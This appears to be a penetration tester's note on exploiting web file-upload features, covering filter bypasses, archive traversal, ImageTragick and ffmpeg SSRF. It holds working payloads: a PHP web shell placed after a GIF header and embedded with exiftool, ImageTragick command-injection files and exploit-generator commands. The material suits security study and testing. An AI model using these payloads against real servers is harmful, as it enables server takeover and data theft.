Exploitation - File upload

A file upload functionality exposes a web application to new types of vulnerabilities if the functionality is not correctly restricted.

Indeed, a file upload functionality could be exploited to overload the file system or databases, target the web application users or take over the web server.

Note that every check (file type and size, number of files uploaded by the current user, etc.) should be implemented server-side as client-side checks are always circumventable.

Denial of service

A file upload functionality could be leveraged to realize a denial of service of the web application or server by:

• overwriting specific web application (.htaccess, web.config, etc.) or operating system (/etc/passwd, C:\Windows\System32\drivers\pci.sys, etc.) files ;

• exhausting the server disk storage capacity through the upload of many large files. A restriction should be implemented on the file size and number of files each users can upload.

Users' Workstations takeover

The users or administrators of the web application can be targeted trough the upload of malicious files.

The following malicious files could be used to execute code on the users workstation:

• Malicious binaries (.exe, etc.) or scripts (sh, .dat, etc.) that must be executed by the users

• Office documents containing malicious macro (.docm, .pptm, .xlsm, etc.) that could be executed when opened

• PDF files containing payloads exploiting vulnerabilities in one or multiples PDF readers such as Adobe Acrobat Reader

• CSV files containing CSV injections, triggered when opening the files with a CSV reader such as Excel, etc.

• Files triggering vulnerabilities in real-time monitoring tools such as anti-virus solutions

Remote Code Execution

An unrestricted or poorly hardened file upload functionality could be exploited, in combination with a Local File Inclusion vulnerability to remotely execute code on the web server.

The exploitation process is as follow:

• upload of a file containing code in a language supported by the web application

• retrieval of the file path on the server file system through an information disclosure vulnerability

• Access and execution of the file by the web application using the local file inclusion vulnerability

Upload file path

Knowledge of the uploaded files path could be needed in order to include the files through a local file inclusion vulnerability if the upload directory is different from the file inclusion vulnerability base directory.

The upload directory path may be leaked by the web application, usually in error messages or in settings / configuration web pages.

To following techniques may be used to trigger an error trough the file upload functionality by uploading files with:

• an already existing file or folder name

• a overly long name

• a name containing invalid characters such as:

   .|<>*?"'`

• a name reserved or forbidden such as:

  # Windows
  CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9

The following paths are common web applications folders:

# Linux
/var/www/html/
/var/www/
/var/www/wordpress/
/var/www/wordpress/uploads/
/var/www/public_html/
/var/www/html/<SITENAME>

# Windows
C:\inetpub\wwwroot
C:\www

Upload filters bypass

Nowadays web applications usually implement a filter mechanism to limit the file types that can be uploaded on the web server. The filter is generally designed to protect the web application against the upload of executable files.

Multiple filter mechanisms can be used to restrict the files accepted by the web application:

• client-side restrictions

• HTTP Content-Type verification

• file type detection

• file extensions black or white listing

• file content verification

Of the above mechanisms, only the white listing of authorized file extensions should be considered secure.

Client-side restrictions

Client-side restrictions, usually implemented using JavaScript, can be constantly bypassed.

If the deactivation of JavaScript makes the web application unfunctional or does not suffice to bypass the filter, the HTTP request should be tampered using a proxy.

Content-Type verification

A verification on the MIME type specified in the Content-Type parameter of the HTTP upload POST request may be implemented. For example, a verification can be made to ensure that the MIME type correspond to an image on a image upload functionality.

Such mechanism can be bypassed by tampering the Content-Type value, for example to image/jpeg, image/png or image/gif.

File extension filtering

A blacklisting filter can be used to restrict the upload of specifically defined extensions. However, defining an exhaustive list of executable or dangerous extensions is a more than tricky task.

The following extensions can be used to bypass blacklist filter:

# PHP
.php .phtml .phps .pht .php3 .php4 .php5 .php6 .php7 .inc .shtml

# ASP
.asp .aspx

# Perl
.pl .pm .cgi .lib

# jsp
.jsp .jspx .jsw .jsv .jspf

# Coldfusion
.cfm .cfml .cfc .dbm

Additionally, an incorrectly implemented filter may conduct a case sensitive verification, that could be bypassed using a mix of upper and/or lower cases letters:

.Php .PHp .PHP .pHp .pHP .phP

...

If no executable extensions can go trough the blacklisting, or against a whitelisting filter, multiples techniques may still be used to upload a file containing executable code:

• Null byte or semicolon injections

• Double extensions

• Image content or exif-data metadata

• Video

Null byte injection

Depending on the webserver, adding a null byte %00 between an executable extension and an accepted one could result in the execution of the uploaded file. For example, against an image upload functionality on a webserver supporting PHP, the following file could be executed as a PHP script: file.php%00.jpg

Semicolon injection

Similarly, a semicolon injection can be used against IIS 6 (Windows 2003 and 2003 R2) as this older IIS version uses the path before the semi-colon to determine the script handler for the file.

For example, the file file.asp;xxx.jpg would be executed as an ASP script.

Double extensions

Depending on the webserver, the double extension technique may be used to execute code by making the webserver use the first extension to determine the script handler for the file.

For example, against an image upload functionality on a webserver supporting PHP, the following file could be executed as a PHP script: file.php.jpg

File content verification

The content of the uploaded file may be verified using, amongst others techniques, the file magic number. A list of common file-types magic numbers can be found on Wikipedia:

https://en.wikipedia.org/wiki/List_of_file_signatures

Such verification could be bypassed by adding the shellcode after a valid image header or in the exif-data image metadata. For shellcodes in various languages, refer to the [General] Shells note.

For instance, the following header can be used to insert a shellcode in a pseudo gif file:

GIF89a;

XXX
<SHELLCODE>

For example, against an image upload functionality on a webserver supporting PHP and allowing the upload of gif file:

GIF89a;

XXX

<?php echo "<pre>"; system($_GET['cmd']); ?>

To inject a shell code in the exif-data metadata of an image, the ExifTool can be used:

exiftool -Comment='<SHELLCODE>' <IMAGE_FILE>

# PHP example
exiftool -Comment='<?php echo "<pre>"; system($_GET['cmd']); ?>' <IMAGE_FILE>

MISC

Archive directory traversal

If the web application exposes an upload functionally allowing for the upload of archive files, the functionally may be vulnerable to archive directory traversal.

If the uploaded archives are automatically extracted, or can be extracted through the web application, and the library used for the extraction does not prevent directory traversal characters in the filename of the extracted files, then a file can be placed at an arbitrary location on the target system. If a file can be placed on the web application root folder, then remote code execution may be achieved.

The evilarc Python script can be used to generate archives that will, once extracted, place the given file at the specified location on the target system. By default, 8 directories will be traversed ../[x8].

python evilarc.py -o <unix | win> -p <REMOTE_FOLDER> -f <ARCHIVE_NAME> <FILE>

ImageTragick

A vulnerability, identified as ImageTragick / CVE-2016–3714 in ImageMagick, a library commonly used by web services to process images, can lead to remote code execution.

The following PoC codes can be used to exploit the vulnerability:

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.0/whateever.jpg"|<CM"D>)'
# Example: fill 'url(https://127.0.0.0/whateever.jpg"|ping -c 2 "<IP>)'
pop graphic-context

push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'https://127.0.0.1/whateever.php?x=`<CMD>`'
pop graphic-context

More exploit codes are available on the ImageTragick/PoCs GitHub repository.

ffmpeg SSRF

If a file upload functionality allows the upload of videos, a SSRF vulnerability in the ffmpeg (versions prior to 2.7.5) could be abused to read local file.

The gen_xbin_avi.py Python script can be used to automatically create a file that will, once played through ffmpeg, retrieve the specified local file:

./gen_xbin_avi.py file://<FILE_PATH> <VIDEONAME>.avi

Cross-Site Content (Data) Hijacking

If a file upload functionality do not verify the file content, a Flash file could be uploaded as an image file and used to bypass any CSRF protection implemented by the web application.

The attack scenario is as follow (source: "https://labs.detectify.com/2014/05/20/the-lesser-known-pitfalls-of-allowing-file-uploads-on-your-website/"):

1. An attacker creates a malicious Flash (SWF) file

2. The attacker changes the file extension to JPG

3. The attacker uploads the file to victim.com

4. The attacker embeds the file on attacker.com using an tag with type “application/x-shockwave-flash”

5. The attacker can now send and receive arbitrary requests to victim.com using the victims session

6. The attacker sends a request to victim.com and extracts the CSRF token from the response

7. The victim visits attacker.com, loads the file as embedded with the tag

   The CrossSiteContentHijacking GitHub repository contains PoC files to exploit the vulnerability.

   ---

   References

   https://www.owasp.org/index.php/Unrestricted_File_Upload https://fr.slideshare.net/HackIT-ukraine/15-technique-to-exploit-file-upload-pages-ebrahim-hegazy http://www.securityidiots.com/Web-Pentest/hacking-website-by-shell-uploading.html https://www.exploit-db.com/docs/english/45074-file-upload-restrictions-bypass.pdf https://labs.detectify.com/2014/05/20/the-lesser-known-pitfalls-of-allowing-file-uploads-on-your-website/